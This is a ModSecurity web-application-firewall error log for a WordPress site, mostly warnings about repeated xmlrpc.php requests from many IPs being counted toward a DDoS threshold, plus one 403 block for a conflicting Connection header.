[Wed Apr 15 08:47:35.092942 2026] [:error] [pid 30555:tid 30615] [client 51.83.35.19:41500] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7gJ1TZEITMpQMsOnixYQAAAIE"]
[Wed Apr 15 08:48:38.732133 2026] [:error] [pid 30553:tid 30573] [client 146.190.84.203:60862] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7gZqWezn1lK_o0Brrj3gAAAA4"]
[Wed Apr 15 08:56:01.101466 2026] [:error] [pid 30644:tid 30655] [client 80.82.219.138:35568] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7iIa8vuyJ0N41zsM_1ZQAAAMU"]
[Wed Apr 15 08:59:50.051420 2026] [:error] [pid 30553:tid 30577] [client 223.233.77.246:7561] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7jBqWezn1lK_o0BrrloAAAABI"]
[Wed Apr 15 09:01:44.467492 2026] [:error] [pid 51186:tid 51210] [client 62.169.19.61:57660] [client 62.169.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7jeFfx1CjK_ZPfY1Q4tgAAAVY"]
[Wed Apr 15 09:04:19.754085 2026] [:error] [pid 50234:tid 50242] [client 51.159.190.214:41716] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7kE9r0cDjH19-BoGycOwAAAQY"]
[Wed Apr 15 09:04:54.597752 2026] [:error] [pid 30644:tid 30651] [client 51.91.58.113:46712] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7kNq8vuyJ0N41zsM_33QAAAME"]
[Wed Apr 15 09:05:27.420386 2026] [:error] [pid 30554:tid 30596] [client 109.228.52.205:54176] [client 109.228.52.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.228.52.205, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7kV16Jrdy3caXvUkuoeAAAAEk"]
[Wed Apr 15 09:05:54.292125 2026] [:error] [pid 30644:tid 30662] [client 161.97.171.174:49874] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7kcq8vuyJ0N41zsM_4NAAAAMw"]
[Wed Apr 15 09:06:41.579128 2026] [:error] [pid 30554:tid 30607] [client 85.128.143.123:37496] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7koV6Jrdy3caXvUkuolAAAAFQ"]
[Wed Apr 15 09:10:12.206445 2026] [:error] [pid 50234:tid 50251] [client 94.23.210.48:34092] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7ldNr0cDjH19-BoGyeewAAAQ8"]
[Wed Apr 15 09:15:22.963337 2026] [:error] [pid 50234:tid 50236] [client 46.163.72.195:53882] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7mqtr0cDjH19-BoGyghgAAAQA"]
[Wed Apr 15 09:16:21.458179 2026] [:error] [pid 30554:tid 30599] [client 192.223.121.135:58377] [client 192.223.121.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.223.121.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7m5V6Jrdy3caXvUkup2AAAAEw"]
[Wed Apr 15 09:16:28.863369 2026] [:error] [pid 50234:tid 50247] [client 192.223.121.135:58436] [client 192.223.121.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.223.121.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7m7Nr0cDjH19-BoGyguQAAAQs"]
[Wed Apr 15 09:16:39.009061 2026] [:error] [pid 30644:tid 30669] [client 192.223.121.135:58983] [client 192.223.121.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.223.121.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7m968vuyJ0N41zsM_7EwAAANM"]
[Wed Apr 15 09:16:49.870318 2026] [:error] [pid 30554:tid 30598] [client 192.223.121.135:59233] [client 192.223.121.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.223.121.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7nAV6Jrdy3caXvUkup5AAAAEs"]
[Wed Apr 15 09:17:11.667495 2026] [:error] [pid 30644:tid 30660] [client 192.223.121.135:59731] [client 192.223.121.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.223.121.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7nF68vuyJ0N41zsM_7OgAAAMo"]
[Wed Apr 15 09:21:27.454078 2026] [:error] [pid 51186:tid 51193] [client 45.76.129.195:50528] [client 45.76.129.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.76.129.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7oF1fx1CjK_ZPfY1RFTgAAAUU"]
[Wed Apr 15 09:26:16.526804 2026] [:error] [pid 30555:tid 30635] [client 45.87.221.196:53962] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7pOFTZEITMpQMsOni7LQAAAJU"]
[Wed Apr 15 09:27:28.920139 2026] [:error] [pid 30644:tid 30671] [client 54.38.241.153:57166] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7pgK8vuyJ0N41zsM_-sQAAANU"]
[Wed Apr 15 09:28:22.507712 2026] [:error] [pid 51186:tid 51193] [client 43.164.197.177:46202] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad7ptlfx1CjK_ZPfY1RIygAAAUU"]
[Wed Apr 15 09:29:31.288303 2026] [:error] [pid 51186:tid 51203] [client 217.154.180.19:55792] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7p-1fx1CjK_ZPfY1RJIAAAAU8"]
[Wed Apr 15 09:35:10.827455 2026] [:error] [pid 50234:tid 50248] [client 52.178.68.120:57962] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7rTtr0cDjH19-BoGyoDgAAAQw"]
[Wed Apr 15 09:40:07.769894 2026] [:error] [pid 51186:tid 51194] [client 185.78.209.195:14150] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7sd1fx1CjK_ZPfY1RNxAAAAUY"]
[Wed Apr 15 09:52:04.352387 2026] [:error] [pid 51186:tid 51200] [client 146.59.70.139:36188] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7vRFfx1CjK_ZPfY1RSZgAAAUw"]
[Wed Apr 15 09:57:42.148648 2026] [:error] [pid 30644:tid 30671] [client 45.159.231.196:53944] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7wlq8vuyJ0N41zsM8GJAAAANU"]
[Wed Apr 15 09:57:46.227151 2026] [:error] [pid 30554:tid 30603] [client 155.133.132.65:38111] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7wml6Jrdy3caXvUkuxJgAAAFA"]
[Wed Apr 15 09:59:24.370160 2026] [:error] [pid 51186:tid 51210] [client 80.82.219.138:53062] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7w_Ffx1CjK_ZPfY1RU_AAAAVY"]
[Wed Apr 15 10:02:17.887103 2026] [:error] [pid 50234:tid 50238] [client 34.73.73.46:40454] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7xqdr0cDjH19-BoGyw9wAAAQI"]
[Wed Apr 15 10:06:20.392815 2026] [:error] [pid 30644:tid 30666] [client 160.250.187.3:41042] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7ynK8vuyJ0N41zsM8ImwAAANA"]
[Wed Apr 15 10:10:43.482219 2026] [:error] [pid 51186:tid 51191] [client 152.53.87.236:55778] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7zo1fx1CjK_ZPfY1RYmgAAAUM"]
[Wed Apr 15 10:13:11.755715 2026] [:error] [pid 30555:tid 30621] [client 103.186.241.154:62436] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad70N1TZEITMpQMsOnjFHwAAAIc"]
[Wed Apr 15 10:21:18.428517 2026] [:error] [pid 50234:tid 50241] [client 20.238.240.42:2688] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad72Htr0cDjH19-BoGy2kgAAAQU"]
[Wed Apr 15 10:23:31.911652 2026] [:error] [pid 30553:tid 30579] [client 67.73.243.12:55230] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad72o6Wezn1lK_o0BrrxVwAAABQ"]
[Wed Apr 15 10:29:03.748919 2026] [:error] [pid 50234:tid 50257] [client 34.76.142.88:34302] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7379r0cDjH19-BoGy4rwAAARU"]
[Wed Apr 15 10:29:46.026609 2026] [:error] [pid 30554:tid 30591] [client 13.239.161.156:37994] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad74Gl6Jrdy3caXvUku2YgAAAEQ"]
[Wed Apr 15 10:30:37.283787 2026] [:error] [pid 30555:tid 30635] [client 85.128.143.145:44966] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad74TVTZEITMpQMsOnjJMwAAAJU"]
[Wed Apr 15 10:36:10.617842 2026] [:error] [pid 30554:tid 30604] [client 150.95.26.37:43112] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad75ml6Jrdy3caXvUku3IgAAAFE"]
[Wed Apr 15 10:36:34.559336 2026] [:error] [pid 51186:tid 51202] [client 13.239.161.156:35754] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad75slfx1CjK_ZPfY1RltwAAAU4"]
[Wed Apr 15 10:40:15.713972 2026] [:error] [pid 30554:tid 30597] [client 95.173.103.120:57148] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad76j16Jrdy3caXvUku3xQAAAEo"]
[Wed Apr 15 10:42:19.779224 2026] [:error] [pid 30554:tid 30600] [client 144.91.66.223:35024] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad77C16Jrdy3caXvUku4ZQAAAE0"]
[Wed Apr 15 10:45:55.276888 2026] [:error] [pid 50234:tid 50257] [client 155.133.132.65:55534] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7749r0cDjH19-BoGy-CwAAARU"]
[Wed Apr 15 10:51:50.916042 2026] [:error] [pid 50234:tid 50250] [client 190.121.23.218:36006] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad79Rtr0cDjH19-BoGy_YAAAAQ4"]
[Wed Apr 15 10:52:02.192334 2026] [:error] [pid 30644:tid 30668] [client 51.210.190.32:59772] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad79Uq8vuyJ0N41zsM8TgQAAANI"]
[Wed Apr 15 10:53:35.640203 2026] [:error] [pid 30644:tid 30650] [client 35.201.138.245:45026] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad79r68vuyJ0N41zsM8T0QAAAMA"]
[Wed Apr 15 10:54:49.400069 2026] [:error] [pid 50234:tid 50240] [client 217.182.169.225:34622] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad79-dr0cDjH19-BoGy_1QAAAQQ"]
[Wed Apr 15 10:56:08.218453 2026] [:error] [pid 51186:tid 51205] [client 138.199.146.196:51654] [client 138.199.146.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.146.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7-SFfx1CjK_ZPfY1RtEAAAAVE"]
[Wed Apr 15 11:04:18.169336 2026] [:error] [pid 30553:tid 30559] [client 209.74.64.184:52408] [client 209.74.64.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.64.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8AMqWezn1lK_o0Brr3HwAAAAA"]
[Wed Apr 15 11:06:33.266666 2026] [:error] [pid 30554:tid 30604] [client 62.169.19.61:43108] [client 62.169.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8AuV6Jrdy3caXvUku8bgAAAFE"]
[Wed Apr 15 11:09:35.312911 2026] [:error] [pid 51186:tid 51188] [client 195.250.23.93:42004] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Bb1fx1CjK_ZPfY1RzMgAAAUA"]
[Wed Apr 15 11:11:26.713466 2026] [:error] [pid 30553:tid 30564] [client 104.37.174.183:34660] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8B3qWezn1lK_o0Brr4IgAAAAU"]
[Wed Apr 15 11:17:37.548701 2026] [:error] [pid 30644:tid 30667] [client 203.154.11.19:50450] [client 203.154.11.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.154.11.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8DUa8vuyJ0N41zsM8bCQAAANE"]
[Wed Apr 15 11:18:19.033092 2026] [:error] [pid 51186:tid 51200] [client 138.122.43.166:45762] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8De1fx1CjK_ZPfY1R44gAAAUw"]
[Wed Apr 15 11:26:25.047053 2026] [:error] [pid 51186:tid 51194] [client 213.160.71.62:58462] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8FYVfx1CjK_ZPfY1R9gQAAAUY"]
[Wed Apr 15 11:27:22.798772 2026] [:error] [pid 30554:tid 30593] [client 149.202.76.92:38810] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8Fml6Jrdy3caXvUku__wAAAEY"]
[Wed Apr 15 11:29:23.397554 2026] [:error] [pid 30554:tid 30599] [client 143.198.154.102:36646] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad8GE16Jrdy3caXvUkvAVAAAAEw"]
